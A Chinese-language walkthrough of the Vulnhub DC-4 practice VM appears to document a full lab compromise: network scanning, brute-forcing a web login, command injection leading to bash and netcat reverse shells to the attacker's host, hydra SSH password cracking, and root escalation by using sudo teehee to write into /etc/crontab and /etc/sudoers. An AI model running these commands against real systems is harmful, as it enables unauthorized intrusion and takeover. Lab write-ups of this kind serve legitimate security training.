信息搜集

nmap -sP 192.168.146.0/24 #扫网段看看存活的主机,找到靶机

nmap -sS -Pn -A 192.168.146.141



可以看到开放了22和80端口,那么就可以猜测下,可能要爆破ssh密码或者得到账号密码直接ssh连上去。

这里先访问web页面,只有一个登陆页面,那就先扫描下目录。



看到访问command.php后又跳转回index.php,那么估计是要登陆才可以使用了。

getFlag

Web登陆密码爆破

这里没什么线索,但是登陆不用填验证码,就直接尝试爆破吧。



爆破出用户名*,密码happy。





也就是说这里只用密码happy就能登陆

命令执行之反弹shell

登陆进页面看到命令执行选项,这种情况估计就是参数传递命令,抓个包看看就行了。



可以看到确实是在radio参数传输命令,但是这样比较麻烦,尝试反弹shell。

bash -i >& /dev/tcp/192.168.146.131/4444 0>&1

这里要将&符号url编码下,以便区分参数间的&符号,当然可以直接全部url编码下。bash反弹失败

nc 192.168.31.131 4444 -t /bin/bash #nc反弹成功



根据之前的靶机,可以直接进入/home目录下看看有哪些用户

经检测,charles和sam目录无法ls出文件,而jim可以。



大概就是mbox我们没有读的权限,backups里面又一堆旧密码,test.sh内容如下

SSH密码爆破

信息搜集的时候我们就知道22端口是开着的,可以ssh上去。

所以这里的old-passwords可能是jim进行ssh的旧密码(现在的密码也可能在其中),那么就down下来用hydra爆破下。

hydra -l jim -P pwd.txt ssh://192.168.146.141



爆破出用户名是jim,密码是jibril04。直接连上去

提权

ssh jim@192.168.146.141

登陆进去看mbox,是一封邮件

既然有邮件,就想到去/var/mail目录下看看,看到邮件的具体内容。有Charles发来的密码。



密码是^xHhA&hvim0y,准备登陆charles了。在这之前,先看看jim有没有sudo权限,好的是没有的。

sudo -l

有密码了,直接ssh连上去,ls -al查看charles目录下的内容

看这三个文件没有发现什么有用的信息。那就也来看看有没有sudo权限。



可以发现,可以不用密码使用root权限操作/usr/bin/teehee,这个可执行文件,查看下帮助。



它可以将标准输入复制到每个文件,那么好办了,既然可以用root权限写文件?那岂不是直接快乐就完事了?

测试下:(成功写入文件)

想想几个重要的文件,无非就是定时任务文件(crontab),sudoers文件

先来玩玩定任务文件把。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

再来写/etc/sudoers文件,先看看本地sudoers文件的语法。



仿造写一个 charles ALL=(ALL:ALL) ALL



可以看到现在charles可以以root用户身份运行所有命令

总结

总的来说这个靶机也并不难,学到的东西好像也并不是很多。。。

主要就学到了利用suid提权,这个利用这个root权限可以写文件。之后就是有写文件权限提权的思路了。

Vulnhub DC-4靶机渗透的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  4. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  5. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

  6. Vulnhub DC-9靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...

  7. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

  8. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  9. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  10. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

随机推荐

  1. 超强图文|并发编程【等待/通知机制】就是这个feel~

    你有一个思想,我有一个思想,我们交换后,一个人就有两个思想 If you can NOT explain it simply, you do NOT understand it well enough ...

  2. 部署nginx后无法访问数据库,查看www-error.log日志报错Class 'mysqli' not found in /usr/local/nginx/html/mysql.php on line 2

    检查你的php-mysql包是否安装 [root@localhost nginx]# rpm -qa php-mysql 没有任何输出则没有安装,接下来用yum安装php-mysql yum -y i ...

  3. vscode使用cnpm报错

     1.在wind10搜索框里输入 Windows PowerShell 进入这个界面 2.打开Windows PowerShell 之后 输入命令:set-ExecutjionPolicy Remot ...

  4. javaScript 基础知识汇总 (十)

    1.New Function 语法:let func = new Function ([arg1[, arg2[, ...argN]],] functionBody) //无参数示例: let say ...

  5. 附014.Kubernetes Prometheus+Grafana+EFK+Kibana+Glusterfs整合解决方案

    一 glusterfs存储集群部署 注意:以下为简略步骤,详情参考<附009.Kubernetes永久存储之GlusterFS独立部署>. 1.1 架构示意 略 1.2 相关规划 主机 I ...

  6. ASP.NET MVC5实现芒果分销后台管理系统(一):系统结构设计,集成AutoMapper,Log4net

    在构思完系统思维脑图后,小墨回到家中,便摩拳擦掌开始了开发工作.要想迅速完成系统开发,前期系统设计和准备尤其重要,因为小墨做过太多大大小小的业务系统,准备工作也是十分顺利. 系统结构 整个系统工程结构 ...

  7. 【Weiss】【第03章】练习3.3:通过交换指针交换单/双链表元素

    [练习3.3] 通过之调整指针(而不是数据)来交换两个相邻的元素,使用 a.单链表 b.双链表 Answer: 先放测试代码,折叠标题可以看到分别是哪种链表的测试. 实测可满足题意,但单链表和双链表的 ...

  8. 五分钟了解Semaphore

    一.前言 多个线程之间的同步,我们会用到Semaphore,翻译成中文就是信号量.使用Semaphore可以限制多个线程对同一资源的访问.我们先看下C#中对Semaphore的定义,如下图: 翻译成中 ...

  9. 【攻防世界】simple-unpack

    知识:upx脱壳 simple-unpack 难度系数: 3.0 题目来源: 暂无 题目描述:菜鸡拿到了一个被加壳的二进制文件 提示说有壳子:然后用PE分析发现是ELF upx的壳子

  10. CentOS7设置环境变量

    目录 一.环境变量的概念 1.环境变量的含义 2.环境变量的分类 3.Linux环境变量 二.常用的环境变量 1.查看环境变量 2.常用的环境变量 三.设置环境量 1.系统环境变量 2.用户环境变量 ...